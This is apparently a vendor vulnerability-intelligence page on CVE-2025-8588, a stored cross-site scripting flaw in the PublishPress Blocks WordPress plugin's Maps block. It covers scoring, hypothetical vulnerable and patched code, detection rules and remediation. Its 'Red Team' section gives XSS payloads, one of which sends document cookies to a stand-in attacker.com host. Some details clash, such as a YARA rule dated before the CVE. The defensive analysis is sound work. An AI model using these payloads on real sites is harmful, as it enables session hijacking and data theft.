☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8588

CVE-2025-8588 Cross-Site Scripting in Publishpress
📅 PUBLISHED: 2025-10-25 05:31 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8588 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the PublishPress Blocks WordPress plugin (formerly Gutenberg Blocks – PublishPress Blocks). The flaw resides in the Maps block, specifically within the 'Marker Title' and 'Marker Description' parameters. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to potential session hijacking, defacement, or data theft.

This vulnerability affects all versions up to and including 3.3.4. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for sites with untrusted contributors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available on GitHub. Users should monitor the plugin’s repository for security updates and consider disabling the Maps block if contributor access is granted.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None (automatic execution on page load)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for any authenticated contributor to inject persistent scripts makes this a serious concern for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is triggered through the Maps block provided by the PublishPress Blocks plugin. When a user creates or edits a Maps block, they can add markers with custom titles and descriptions. These inputs are stored in the WordPress database without proper sanitization or output escaping.

The vulnerable code likely processes the marker_title and marker_description parameters and directly inserts them into the page’s HTML via JavaScript or PHP rendering. Because the plugin does not use esc_html() or wp_kses() on these fields, an attacker can inject malicious JavaScript payloads.

Attack Flow:

  1. An authenticated user with Contributor role (or higher) creates a new post/page.
  2. The user adds a Maps block and inserts a marker.
  3. In the 'Marker Title' or 'Marker Description' field, the attacker inputs a payload such as <script>alert('XSS')</script>.
  4. The payload is stored in the database.
  5. When any user (including admins) views the page, the script executes in their browser context.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (PHP/JS):

// Vulnerable: Direct output without escaping
echo '<div class="marker-title">' . $marker_title . '</div>';
echo '<div class="marker-desc">' . $marker_description . '</div>';

Patched Code (Hypothetical):

// Patched: Proper escaping
echo '<div class="marker-title">' . esc_html( $marker_title ) . '</div>';
echo '<div class="marker-desc">' . esc_html( $marker_description ) . '</div>';

Additionally, the plugin should validate input using wp_kses() to allow only safe HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with PublishPress Blocks plugin <= 3.3.4
  • Authenticated user with Contributor role or higher

Steps:

  1. Log in as a Contributor.
  2. Create a new post.
  3. Add a Maps block.
  4. In the marker settings, set the 'Marker Title' to:
    <img src=x onerror=alert('XSS')>
    
  5. Set the 'Marker Description' to:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Publish the post.
  7. When an admin or visitor views the post, the script executes.

Note: No public exploit code exists; this is a theoretical demonstration.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual content in wp_posts.post_content containing <script> tags or event handlers.
  • Use WAF rules to block common XSS payloads in POST requests to wp-admin/post.php.

Prevention:

  • Disable the Maps block for non-admin users via role management plugins.
  • Apply a virtual patch using a WAF (e.g., Wordfence, Cloudflare) to block malicious input.
  • Restrict Contributor roles from using blocks that allow raw HTML.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/publishpress-blocks/ (version <= 3.3.4)
  • Database: Rows in wp_posts where post_content contains <script> or onerror attributes within Maps block data.
  • Network: Outbound requests to unknown domains from the WordPress admin interface (potential data exfiltration).
  • Logs: HTTP POST requests to /wp-admin/post.php with payloads containing <script> or event handlers.

Detection Engineering

YARA Rule

rule CVE_2025_8588_XSS_MapsBlock {
    meta:
        description = "Detects stored XSS payloads in PublishPress Blocks Maps block"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8588"
    strings:
        $payload1 = /marker_title[^>]*<script/
        $payload2 = /marker_description[^>]*<script/
        $payload3 = /onerror\s*=\s*["']/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-8588 Stored XSS in PublishPress Blocks Maps Block
id: 8a3f2c1e-5d7b-4a9f-8c6e-1b2d3e4f5a6b
status: experimental
description: Detects attempts to exploit stored XSS via Maps block marker fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains:
            - 'marker_title'
            - 'marker_description'
        http.body|re:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8588 Stored XSS Attempt - PublishPress Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"marker_title"; http_client_body; pcre:"/<script|onerror|onload>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Maps block for all non-admin users via a plugin like "User Role Editor" or by modifying the block registration.
  2. Apply a WAF rule to block POST requests containing <script> or event handlers in marker_title or marker_description fields.
  3. Audit existing content for malicious scripts in Maps blocks using the YARA rule above.

Long-Term Fix:

  • Monitor the PublishPress Blocks plugin page for a security update.
  • Once patched, update to version > 3.3.4.
  • Consider replacing the plugin with an alternative that has better security practices.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8588/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.